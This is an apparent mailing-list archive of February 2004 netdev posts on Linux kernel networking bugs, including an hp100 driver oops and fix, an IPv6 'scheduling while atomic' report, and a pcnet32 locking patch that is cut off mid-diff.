netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: netdev On Tue, 17 Feb 2004 22:17:05 -0800 "David S. Miller" wrote: > On Tue, 17 Feb 2004 13:17:26 +0100 > Olaf Kirch wrote: > > > I'm currently investigating a problem in udp recvmsg. In short, a test > > program selects on the socket, gets woken up as a packet arrives, but > > recvmsg return EAGAIN because the UDP checksum was wrong. > > Thanks Olaf, I'm not ignoring your patch I just didn't get to it today. BTW I think TCP could hit the same problem. But it did already csum-copy in user context in 2.4 and nobody reported it. -Andi From shemminger@osdl.org Wed Feb 18 10:17:31 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Feb 2004 10:17:39 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1IIHUKO018654 for ; Wed, 18 Feb 2004 10:17:31 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i1IIHBE12015; Wed, 18 Feb 2004 10:17:11 -0800 Date: Wed, 18 Feb 2004 10:17:11 -0800 From: Stephen Hemminger To: Markus =?ISO-8859-1?Q?H=E4stbacka?= Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: [NET] 64 bit byte counter for 2.6.3 Message-Id: <20040218101711.25dda791@dell_ss3.pdx.osdl.net> In-Reply-To: <1077123078.9223.7.camel@midux> References: <1077123078.9223.7.camel@midux> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.9claws (GTK+ 1.2.10; i386-redhat-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i1IIHUKO018654 X-archive-position: 3354 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev On Wed, 18 Feb 2004 18:51:19 +0200 Markus Hästbacka wrote: > Ok, Here's a patch for 64 bit byte counters for 2.6.3. For any intrested > users to try. > > That means in english that the limit for RX bytes and TX bytes (in > ifconfig for example) is much higher than the old 4GB limit on 32 bit > systems. > > Orginal patch by Miika Pekkarinen, ported forward from 2.5 by me. > > Patch says 2.6.3-rc1, but patches cleanly on 2.6.3. > > Markus Some quick comments: * Network changes gets discussed on netdev@oss.sgi.com * 64 bit values are not atomic on 32 bit architectures * wider values in /proc output risks breaking apps like ifconfig and netstat From akpm@osdl.org Wed Feb 18 10:59:10 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Feb 2004 10:59:18 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1IIxAKO021558 for ; Wed, 18 Feb 2004 10:59:10 -0800 Received: from mnm (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id i1IIx4E19461; Wed, 18 Feb 2004 10:59:04 -0800 Date: Wed, 18 Feb 2004 11:00:24 -0800 From: Andrew Morton To: netdev@oss.sgi.com Cc: Andi Kleen , michal-bugzilla@logix.cz Subject: Fw: [Bugme-new] [Bug 2133] New: bad: scheduling while atomic! Message-Id: <20040218110024.3dee0e42.akpm@osdl.org> X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3355 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@osdl.org Precedence: bulk X-list: netdev This is possibly a locking bug in the ipv6 code: someone somewhere forgot to undo a lock and the task ended up in atomic state. Possibly it is specific to x86_64. Has anyone run the TAHI suite on x86? Begin forwarded message: Date: Wed, 18 Feb 2004 06:31:34 -0800 From: bugme-daemon@osdl.org To: bugme-new@lists.osdl.org Subject: [Bugme-new] [Bug 2133] New: bad: scheduling while atomic! http://bugme.osdl.org/show_bug.cgi?id=2133 Summary: bad: scheduling while atomic! Kernel Version: 2.6.3 Status: NEW Severity: high Owner: other_other@kernel-bugs.osdl.org Submitter: michal-bugzilla@logix.cz Hardware Environment: AMD64 Software Environment: kernel 2.6.3 Problem Description: On my AMD64 machine kernel 2.6.3 I'm getting these messages while running the TAHI testsuite: kernel: BUG: dst underflow 0: fffffff802cde24 kernel: last message repeated 6 times kernel: last message repeated 9 times kernel: bad: scheduling while atomic! kernel: Call Trace:{fffff8012fd39}{schedule+73} {fffff8010f7e0}{default_idle+0} kernel: bad: scheduling while atomic! kernel: Call Trace:{schedule+73} {autoremove_wake_function+9} {__wake_up_common+56} {do_get_write_access+807} {default_wake_function+0} {journal_get_undo_access+50} {ext3_try_to_allocate+60} {ext3_new_block+436} {ext3_alloc_block+17} {ext3_alloc_branch+85} {ext3_get_block_handle+558} {alloc_buffer_head+36} {create_buffers+102} {__block_prepare_write+365} {ext3_get_block+0} {block_prepare_write+26} {ext3_prepare_write+106} {generic_file_aio_write_nolock+1274} {skb_copy_datagram_iovec+79} {generic_file_write_nolock+149} {opost_block+425} {sysret_careful+13} {autoremove_wake_function+0} {write_chan+551} {default_wake_function+0} {default_wake_function+0} {generic_file_writev+60} {do_readv_writev+435} {do_sync_write+0} {sys_writev+73} {system_call+124} kernel: bad: scheduling while atomic! kernel: Call Trace:{schedule+73} {__ext3_journal_stop+45} {ext3_ordered_commit_write+189} {generic_file_aio_write_nolock+1930} {skb_copy_datagram_iovec+79} {generic_file_write_nolock+149} {opost_block+425} {autoremove_wake_function+0} {write_chan+551} {default_wake_function+0} {default_wake_function+0} {generic_file_writev+60} {do_readv_writev+435} {do_sync_write+0} {sys_writev+73} {system_call+124} kernel: Warning: kfree_skb on hard IRG ffffff802c0d4f kernel: bad: scheduling while atomic! kernel: Call Trace:{fffff8012fd39}{schedule+73} {fffff8011171a}{sysret_careful+13} The last message is repeating *many* times per second and so makes the system unusable. Steps to reproduce: running tests from 'nd' directory of TAHI testsuite, during test #21 it breaks, all following tests fail. Strange conjunction: at the time of the message the screen is sleeping, so I hit "Alt" to wake it up and surprise - some tests start PASSing again! (at least the simple ones, like 'ping') ------- You are receiving this mail because: ------- You are on the CC list for the bug, or are watching someone who is. From jt@bougret.hpl.hp.com Wed Feb 18 12:16:20 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Feb 2004 12:16:28 -0800 (PST) Received: from palrel12.hp.com (palrel12.hp.com [156.153.255.237]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1IKGKKO026147 for ; Wed, 18 Feb 2004 12:16:20 -0800 Received: from tomil.hpl.hp.com (unknown [15.0.152.100]) by palrel12.hp.com (Postfix) with ESMTP id 2650F1C01D33; Wed, 18 Feb 2004 12:16:20 -0800 (PST) Received: from bougret.hpl.hp.com (bougret.hpl.hp.com [15.4.92.227]) by tomil.hpl.hp.com (8.9.3 (PHNE_29774)/8.9.3 HPLabs Timeshare Server) with ESMTP id MAA29838; Wed, 18 Feb 2004 12:15:59 -0800 (PST) Received: from jt by bougret.hpl.hp.com with local (Exim 3.35 #1 (Debian)) id 1AtY6x-0008MI-00; Wed, 18 Feb 2004 12:15:59 -0800 Date: Wed, 18 Feb 2004 12:15:59 -0800 To: Jeff Garzik , netdev@oss.sgi.com, Linux kernel mailing list Subject: [BUG] 2.6.3 + hp100 -> Oops Message-ID: <20040218201559.GA31872@bougret.hpl.hp.com> Reply-To: jt@hpl.hp.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.28i Organisation: HP Labs Palo Alto Address: HP Labs, 1U-17, 1501 Page Mill road, Palo Alto, CA 94304, USA. E-mail: jt@hpl.hp.com From: Jean Tourrilhes X-archive-position: 3356 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jt@bougret.hpl.hp.com Precedence: bulk X-list: netdev Hi, Maybe it would be a good idea to fix or revert the hp100 patch that went into 2.6.3 : ---------------------------------------------------------- # modprobe hp100 FATAL: Error inserting hp100 (/lib/modules/2.6.3/kernel/drivers/net/hp100.ko): No such device # dmesg [...] hp100: Busmaster mode enabled. hp100: at 0xf400, IRQ 16, PCI bus, 32k SRAM (rx/tx 75%). hp100: Adapter is attached to 100Mb/s Voice Grade AnyLAN network. # cat /proc/net/dev Segmentation fault # dmesg [...] hp100: Busmaster mode enabled. hp100: at 0xf400, IRQ 16, PCI bus, 32k SRAM (rx/tx 75%). hp100: Adapter is attached to 100Mb/s Voice Grade AnyLAN network. Unable to handle kernel paging request at virtual address d086648c printing eip: d086648c *pde = 0fda1067 *pte = 00000000 Oops: 0000 [#1] CPU: 1 EIP: 0060:[] Not tainted EFLAGS: 00010282 EIP is at 0xd086648c eax: d086648c ebx: ccf6b000 ecx: fffffffd edx: cfb99000 esi: c139cca0 edi: ccf6b000 ebp: 000001be esp: c90b5f20 ds: 007b es: 007b ss: 0068 Process cat (pid: 511, threadinfo=c90b4000 task=c9080670) Stack: c01ee394 ccf6b000 c139cca0 00000000 c01ee46d c139cca0 ccf6b000 c139cca0 00000000 ccf6b000 c0167d60 c139cca0 ccf6b000 00000000 c55888e0 c5588900 00000400 c139ccb8 00000000 00000003 00000000 00000002 00000000 c014cf1c Call Trace: [] dev_seq_printf_stats+0x14/0x94 [] dev_seq_show+0x59/0x64 [] seq_read+0x1bc/0x2fc [] vfs_read+0x9c/0xcc [] sys_read+0x31/0x4c [] syscall_call+0x7/0xb Code: Bad EIP value. --------------------------------------------------------------- After that, the whole system is mostly unusable and doesn't reboot cleanly. This is with a PCI card. Looking at the changes, they would also require testing with a ISA card (which I don't have in my box at the moment). 2.6.2 works perfectly. This is what 2.6.2 looks like : --------------------------------------------- hp100: eth1: Busmaster mode enabled. hp100: eth1: HP J2585B at 0xf400, IRQ 16, PCI bus, 32k SRAM (rx/tx 75%). hp100: eth1: Adapter is attached to 100Mb/s Voice Grade AnyLAN network. --------------------------------------------- Also : ----------------------------------- 00:12.0 Ethernet controller: Hewlett-Packard Company J2585B Subsystem: Hewlett-Packard Company J2585B DeskDirect 10/100VG NIC Flags: bus master, medium devsel, latency 64, IRQ 16 I/O ports at f400 [size=256] Memory at fedfc000 (32-bit, non-prefetchable) [disabled] [size=8K] ----------------------------------- Have fun... Jean From shemminger@osdl.org Wed Feb 18 12:27:03 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Feb 2004 12:27:17 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1IKR2KO029873 for ; Wed, 18 Feb 2004 12:27:03 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i1IKQ1E00555; Wed, 18 Feb 2004 12:26:01 -0800 Date: Wed, 18 Feb 2004 12:26:01 -0800 From: Stephen Hemminger To: jt@hpl.hp.com Cc: jt@bougret.hpl.hp.com, Jeff Garzik , netdev@oss.sgi.com, Linux kernel mailing list Subject: Re: [BUG] 2.6.3 + hp100 -> Oops Message-Id: <20040218122601.56e47118@dell_ss3.pdx.osdl.net> In-Reply-To: <20040218201559.GA31872@bougret.hpl.hp.com> References: <20040218201559.GA31872@bougret.hpl.hp.com> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.9claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3357 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev On Wed, 18 Feb 2004 12:15:59 -0800 Jean Tourrilhes wrote: > Hi, > > Maybe it would be a good idea to fix or revert the hp100 patch > that went into 2.6.3 : Modular or non-modular? There seems to be a lot of debug stuff in the driver, could you enable it and see where it hiccup'd. From shemminger@osdl.org Wed Feb 18 12:41:36 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Feb 2004 12:41:43 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1IKfZKO030411 for ; Wed, 18 Feb 2004 12:41:35 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i1IKeYE03030; Wed, 18 Feb 2004 12:40:34 -0800 Date: Wed, 18 Feb 2004 12:40:34 -0800 From: Stephen Hemminger To: jt@hpl.hp.com Cc: jt@bougret.hpl.hp.com, Jeff Garzik , netdev@oss.sgi.com, Linux kernel mailing list Subject: Re: [BUG] 2.6.3 + hp100 -> Oops Message-Id: <20040218124034.05c9f6aa@dell_ss3.pdx.osdl.net> In-Reply-To: <20040218201559.GA31872@bougret.hpl.hp.com> References: <20040218201559.GA31872@bougret.hpl.hp.com> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.9claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3358 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev This should fix the problem... The multi-bus probe logic error handling was botched. diff -Nru a/drivers/net/hp100.c b/drivers/net/hp100.c --- a/drivers/net/hp100.c Wed Feb 18 12:39:41 2004 +++ b/drivers/net/hp100.c Wed Feb 18 12:39:41 2004 @@ -3043,14 +3043,27 @@ int err; err = hp100_isa_init(); - + if (err && err != -ENODEV) + goto out; #ifdef CONFIG_EISA - err |= eisa_driver_register(&hp100_eisa_driver); + err = eisa_driver_register(&hp100_eisa_driver); + if (err && err != -ENODEV) + goto out2; #endif #ifdef CONFIG_PCI - err |= pci_module_init(&hp100_pci_driver); + err = pci_module_init(&hp100_pci_driver); + if (err && err != -ENODEV) + goto out3; #endif + out: return err; + out3: +#ifdef CONFIG_EISA + eisa_driver_unregister (&hp100_eisa_driver); + out2: +#endif + hp100_isa_cleanup(); + goto out; } From midian@ihme.org Wed Feb 18 12:43:59 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Feb 2004 12:44:04 -0800 (PST) Received: from kiuru.kpnet.fi (kiuru.kpnet.fi [193.184.122.21]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1IKhvKO030744 for ; Wed, 18 Feb 2004 12:43:58 -0800 Received: from midux (adsl-36-92.regionline.fi [194.211.36.92]) by kiuru.kpnet.fi (8.12.8/8.12.8) with ESMTP id i1IKhdw9010368; Wed, 18 Feb 2004 22:43:40 +0200 Subject: Re: [NET] 64 bit byte counter for 2.6.3 From: Markus =?ISO-8859-1?Q?H=E4stbacka?= To: root@chaos.analogic.com Cc: Kernel Mailinglist , netdev@oss.sgi.com In-Reply-To: References: <1077123078.9223.7.camel@midux> <20040218101711.25dda791@dell_ss3.pdx.osdl.net> Content-Type: text/plain Message-Id: <1077137014.18843.10.camel@midux> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 Date: Wed, 18 Feb 2004 22:43:34 +0200 Content-Transfer-Encoding: 7bit X-archive-position: 3359 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: midian@ihme.org Precedence: bulk X-list: netdev On Wed, 2004-02-18 at 22:32, Richard B. Johnson wrote: > Manipulation of a 'long long' is not atomic in 32 bit architectures. > Please explain how we don't care, if we shouldn't care. Also some > /proc entries might get read incorrectly with existing tools. Please, tell me all the tools, I'll test them. ifconfig and netstat works correctly atleast. And about the caring, is rx/tx bytes so important that they can't use long long? I would care to see more than 4GB, and maybe some error in the counter at some point (Have you _ever_ seen that happen?) than only 4GB. And no, I didn't post this to be merged into the mainline kernel, just to let users know that there maybe is an option for seeing maximum 4GB. This has been working for me since, umm.. let's say 2.4.20. All the tools I've needed have worked. Markus From davem@redhat.com Wed Feb 18 13:03:14 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Feb 2004 13:03:21 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1IL3DKO031323 for ; Wed, 18 Feb 2004 13:03:14 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1IL32b19731; Wed, 18 Feb 2004 16:03:02 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1IL32i29437; Wed, 18 Feb 2004 16:03:02 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1IL2vkC001446; Wed, 18 Feb 2004 16:02:59 -0500 Date: Wed, 18 Feb 2004 13:03:00 -0800 From: "David S. Miller" To: Julian Anastasov Cc: netdev@oss.sgi.com, linux-net@vger.kernel.org Subject: Re: Restrict local IP announcements in ARP requests Message-Id: <20040218130300.010989f8.davem@redhat.com> In-Reply-To: References: <20040209140853.69ab8bea.davem@redhat.com> <20040209151053.1f63937a.davem@redhat.com> <20040211202251.7b05102c.davem@redhat.com> <20040217190753.238c5ae0.davem@redhat.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3360 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Wed, 18 Feb 2004 10:22:09 +0200 (EET) Julian Anastasov wrote: > > Please make me a 2.4.x version of this patch (again with the other ARP > > thing applied already). > > Thanks, it is attached. Applied. From davem@redhat.com Wed Feb 18 13:22:17 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Feb 2004 13:22:26 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1ILMHKO032629 for ; Wed, 18 Feb 2004 13:22:17 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1ILM8b27174; Wed, 18 Feb 2004 16:22:08 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1ILM8i04190; Wed, 18 Feb 2004 16:22:08 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1ILM4kC013558; Wed, 18 Feb 2004 16:22:04 -0500 Date: Wed, 18 Feb 2004 13:22:06 -0800 From: "David S. Miller" To: Patrick McHardy Cc: hadi@cyberus.ca, qnex@atlantis.knm.org.pl, netdev@oss.sgi.com, shemminger@osdl.org Subject: Re: 2.6: QoS scheduling not working with IP-over-IP Message-Id: <20040218132206.10c8b194.davem@redhat.com> In-Reply-To: <40334AB2.30701@trash.net> References: <20040211200549.736fa8b3.davem@redhat.com> <1076561489.1032.65.camel@jzny.localdomain> <1076561998.1035.72.camel@jzny.localdomain> <1076562282.1033.76.camel@jzny.localdomain> <20040211211536.23e97997.davem@redhat.com> <1076563502.1031.85.camel@jzny.localdomain> <1076564638.1033.91.camel@jzny.localdomain> <20040211215142.7f817513.davem@redhat.com> <1076566176.1033.94.camel@jzny.localdomain> <20040211222259.776ad818.davem@redhat.com> <402D54D6.5070708@trash.net> <20040213213606.5a13cc76.davem@redhat.com> <1076762757.1060.4.camel@jzny.localdomain> <1076763997.1059.13.camel@jzny.localdomain> <1076766981.1059.16.camel@jzny.localdomain> <20040214124958.499294a6.davem@redhat.com> <402F4A2D.1070405@trash.net> <20040217191011.012a749e.davem@redhat.com> <40334AB2.30701@trash.net> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3361 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Wed, 18 Feb 2004 12:21:22 +0100 Patrick McHardy wrote: > David S. Miller wrote: > > Patrick, "(x || 1)" is not the same as "(x ? x : 1)" > > :-) > > Doh! I must have been programming in perl before .. ;) New patch applied, thanks Patrick. From jt@bougret.hpl.hp.com Wed Feb 18 14:05:07 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Feb 2004 14:05:12 -0800 (PST) Received: from palrel10.hp.com (palrel10.hp.com [156.153.255.245]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1IM4vKO000877 for ; Wed, 18 Feb 2004 14:04:57 -0800 Received: from tomil.hpl.hp.com (tomil.hpl.hp.com [15.0.152.100]) by palrel10.hp.com (Postfix) with ESMTP id 0FD541C02F25; Wed, 18 Feb 2004 13:38:29 -0800 (PST) Received: from bougret.hpl.hp.com (bougret.hpl.hp.com [15.4.92.227]) by tomil.hpl.hp.com (8.9.3 (PHNE_29774)/8.9.3 HPLabs Timeshare Server) with ESMTP id NAA03369; Wed, 18 Feb 2004 13:38:28 -0800 (PST) Received: from jt by bougret.hpl.hp.com with local (Exim 3.35 #1 (Debian)) id 1AtZOm-0000Ik-00; Wed, 18 Feb 2004 13:38:28 -0800 Date: Wed, 18 Feb 2004 13:38:28 -0800 To: Linux kernel mailing list , netdev@oss.sgi.com, Margit Schubert-While Subject: Re: 2.6.3 iwspy oops Message-ID: <20040218213828.GA947@bougret.hpl.hp.com> Reply-To: jt@hpl.hp.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.28i Organisation: HP Labs Palo Alto Address: HP Labs, 1U-17, 1501 Page Mill road, Palo Alto, CA 94304, USA. E-mail: jt@hpl.hp.com From: Jean Tourrilhes X-archive-position: 3362 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jt@bougret.hpl.hp.com Precedence: bulk X-list: netdev Margit Schubert-While wrote : > > Working on a SSH WLAN connection OK (ca. 2 hours) until I entered "iwspy", > then system borked (not recoverable) : Working here with 2.6.3 + airo.c. Which driver and which version of it ? Which was the last version that worked ? Thanks. Jean From niv@us.ibm.com Wed Feb 18 14:26:23 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Feb 2004 14:26:28 -0800 (PST) Received: from e34.co.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1IMQHKO002110 for ; Wed, 18 Feb 2004 14:26:23 -0800 Received: from westrelay01.boulder.ibm.com (westrelay01.boulder.ibm.com [9.17.195.10]) by e34.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i1IMPQE8038094; Wed, 18 Feb 2004 17:25:26 -0500 Received: from us.ibm.com (d03av03.boulder.ibm.com [9.17.193.83]) by westrelay01.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1IMPNd1129706; Wed, 18 Feb 2004 15:25:24 -0700 Message-ID: <4033E5BD.9080504@us.ibm.com> Date: Wed, 18 Feb 2004 14:22:53 -0800 From: Nivedita Singhvi User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.2.1) Gecko/20021130 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Andrew Morton CC: netdev@oss.sgi.com, Andi Kleen , michal-bugzilla@logix.cz Subject: Re: Fw: [Bugme-new] [Bug 2133] New: bad: scheduling while atomic! References: <20040218110024.3dee0e42.akpm@osdl.org> In-Reply-To: <20040218110024.3dee0e42.akpm@osdl.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3363 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: niv@us.ibm.com Precedence: bulk X-list: netdev Andrew Morton rote: > This is possibly a locking bug in the ipv6 code: someone somewhere > forgot to undo a lock and the task ended up in atomic state. > Possibly it is specific to x86_64. > > Has anyone run the TAHI suite on x86? Yep, we're running TAHI on x86, but haven't seen this. Not sure we're on 2.6.3 yet, though. We'll check it out.. thanks, Nivedita From brazilnut@us.ibm.com Wed Feb 18 14:30:13 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Feb 2004 14:30:20 -0800 (PST) Received: from e34.co.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1IMUDKO002691 for ; Wed, 18 Feb 2004 14:30:13 -0800 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e34.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i1IMU5E8372334; Wed, 18 Feb 2004 17:30:05 -0500 Received: from DYN318364BLD.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1IMU4Rt072022; Wed, 18 Feb 2004 15:30:05 -0700 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i1IMTRA03869; Wed, 18 Feb 2004 14:29:27 -0800 From: Don Fry Message-Id: <200402182229.i1IMTRA03869@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH] 2.6.3 pcnet32.c bus master arbitration failure fix To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Wed, 18 Feb 2004 14:29:27 -0800 (PST) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3364 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev Here is the first of several individual patches to 2.6.3 for the pcnet32 driver. The driver did not properly serialize accesses to chip registers, resulting in reading/writing the wrong register. This patch eliminates this problem and gets rid of the cause of the symptom of 'bus master arbitration failure'. It was easier to use generic_mii_ioctl than modify the current pcnet32_ioctl routine with the necessary locks. This has been re-tested on an IA32 system. --- linux-2.6.3/drivers/net/orig.pcnet32.c Tue Feb 17 19:57:21 2004 +++ linux-2.6.3/drivers/net/pcnet32.c Wed Feb 18 12:35:33 2004 @@ -720,6 +720,8 @@ lp->name = chipname; lp->shared_irq = shared; lp->mii_if.full_duplex = fdx; + lp->mii_if.phy_id_mask = 0x1f; + lp->mii_if.reg_num_mask = 0x1f; lp->dxsuflo = dxsuflo; lp->ltint = ltint; lp->mii = mii; @@ -1625,12 +1627,18 @@ } /* restart autonegotiation */ case ETHTOOL_NWAY_RST: { - return mii_nway_restart(&lp->mii_if); + int r; + spin_lock_irq(&lp->lock); + r = mii_nway_restart(&lp->mii_if); + spin_unlock_irq(&lp->lock); + return r; } /* get link status */ case ETHTOOL_GLINK: { struct ethtool_value edata = {ETHTOOL_GLINK}; + spin_lock_irq(&lp->lock); edata.data = mii_link_ok(&lp->mii_if); + spin_unlock_irq(&lp->lock); if (copy_to_user(useraddr, &edata, sizeof(edata))) return -EFAULT; return 0; @@ -1661,45 +1669,37 @@ static int pcnet32_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - unsigned long ioaddr = dev->base_addr; struct pcnet32_private *lp = dev->priv; struct mii_ioctl_data *data = (struct mii_ioctl_data *)&rq->ifr_data; - int phyaddr = lp->a.read_bcr (ioaddr, 33); + int rc; + unsigned long flags; if (cmd == SIOCETHTOOL) return pcnet32_ethtool_ioctl(dev, (void *) rq->ifr_data); + /* SIOC[GS]MIIxxx ioctls */ if (lp->mii) { - 